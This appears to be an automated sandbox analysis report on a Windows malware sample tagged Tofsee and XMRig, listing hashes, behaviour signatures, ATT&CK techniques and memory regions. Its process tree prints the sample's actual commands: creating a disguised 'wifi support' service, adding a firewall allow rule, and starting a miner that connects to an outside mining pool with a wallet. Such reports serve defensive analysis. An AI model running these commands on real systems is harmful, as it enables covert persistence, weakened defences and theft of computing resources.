Overview

overview

10

Static

static

xtllixwk.exe

windows7_x64

10

xtllixwk.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    15-02-2021 10:17

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General

  • Target

    xtllixwk.exe

  • Size

    12.6MB

  • MD5

    a65502084b6d09ee1219201d47f46c20

  • SHA1

    6855bfa842237d60e76691ce5f59865a045e7e08

  • SHA256

    8e9077111645da006312e59519b5080e63a9ab0ef7cf686894bfa72279970a33

  • SHA512

    4a5c53deea9a78aec63de61512aa1cdf101ab8d68dcb0c478d8106e8c6fbfd1c20eb80b0c326a4544a747cf120770198d3f9ba0c6f99fd81534d689c778cc34e

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\xtllixwk.exe
    "C:\Users\Admin\AppData\Local\Temp\xtllixwk.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:800
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\crqcyrgq\
      2⤵
        PID:912
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\nwqvnmhd.exe" C:\Windows\SysWOW64\crqcyrgq\
        2⤵
          PID:1592
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create crqcyrgq binPath= "C:\Windows\SysWOW64\crqcyrgq\nwqvnmhd.exe /d\"C:\Users\Admin\AppData\Local\Temp\xtllixwk.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:412
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description crqcyrgq "wifi internet conection"
            2⤵
              PID:592
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start crqcyrgq
              2⤵
                PID:1140
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:608
              • C:\Windows\SysWOW64\crqcyrgq\nwqvnmhd.exe
                C:\Windows\SysWOW64\crqcyrgq\nwqvnmhd.exe /d"C:\Users\Admin\AppData\Local\Temp\xtllixwk.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:484
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1348
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool-pay.com:6199 -u 9jNvTpsSutBLodbiiRngN2S4AfM84WJ4Y8zRpo6H4QPBK625huByLqkiCTh5Uog1qHVBr7cyZfbA1GiiPqSsSv83HAiirSf.50000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1472

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Initial Access

              Execution

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Credential Access

              Discovery

              System Information Discovery

              1
              T1082

              Lateral Movement

              Collection

              Exfiltration

              Command and Control

              Impact

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\nwqvnmhd.exe
                MD5

                c3f0b0a72eb3b35d69fd8e9ed7cdab8e

                SHA1

                3937bf24509acceea1c7847a05070480c4107caf

                SHA256

                e4efb277bb90b6fa21ce9a4a79bc947f05f5eccc6041ef44e941cbc9b31b0834

                SHA512

                a978579bbf6e6ee70132a1b8fe0bb48dc9c9d666ec08719f3728627a5e7e8b992668ad96067d52439fb679a5696c83fdf5b910ace73829473db402770d12d3b3

                Download Submit
              • C:\Windows\SysWOW64\crqcyrgq\nwqvnmhd.exe
                MD5

                c3f0b0a72eb3b35d69fd8e9ed7cdab8e

                SHA1

                3937bf24509acceea1c7847a05070480c4107caf

                SHA256

                e4efb277bb90b6fa21ce9a4a79bc947f05f5eccc6041ef44e941cbc9b31b0834

                SHA512

                a978579bbf6e6ee70132a1b8fe0bb48dc9c9d666ec08719f3728627a5e7e8b992668ad96067d52439fb679a5696c83fdf5b910ace73829473db402770d12d3b3

                Download Submit
              • memory/412-10-0x0000000000000000-mapping.dmp
                Download
              • memory/484-23-0x0000000000400000-0x0000000000415000-memory.dmp
                Filesize

                84KB

                Download
              • memory/484-16-0x0000000004DE0000-0x0000000004DF1000-memory.dmp
                Filesize

                68KB

                Download
              • memory/592-11-0x0000000000000000-mapping.dmp
                Download
              • memory/608-14-0x0000000000000000-mapping.dmp
                Download
              • memory/800-9-0x0000000000400000-0x0000000000415000-memory.dmp
                Filesize

                84KB

                Download
              • memory/800-5-0x0000000076C21000-0x0000000076C23000-memory.dmp
                Filesize

                8KB

                Download
              • memory/800-2-0x0000000006190000-0x00000000061A1000-memory.dmp
                Filesize

                68KB

                Download
              • memory/800-4-0x0000000000230000-0x0000000000243000-memory.dmp
                Filesize

                76KB

                Download
              • memory/800-3-0x0000000000220000-0x000000000022D000-memory.dmp
                Filesize

                52KB

                Download
              • memory/912-6-0x0000000000000000-mapping.dmp
                Download
              • memory/1140-12-0x0000000000000000-mapping.dmp
                Download
              • memory/1348-19-0x00000000000C9A6B-mapping.dmp
                Download
              • memory/1348-18-0x00000000000C0000-0x00000000000D5000-memory.dmp
                Filesize

                84KB

                Download
              • memory/1348-25-0x0000000001C40000-0x0000000001E4F000-memory.dmp
                Filesize

                2.1MB

                Download
              • memory/1348-26-0x00000000001D0000-0x00000000001D6000-memory.dmp
                Filesize

                24KB

                Download
              • memory/1348-27-0x0000000000280000-0x0000000000290000-memory.dmp
                Filesize

                64KB

                Download
              • memory/1472-28-0x0000000000080000-0x0000000000171000-memory.dmp
                Filesize

                964KB

                Download
              • memory/1472-30-0x000000000011259C-mapping.dmp
                Download
              • memory/1592-7-0x0000000000000000-mapping.dmp
                Download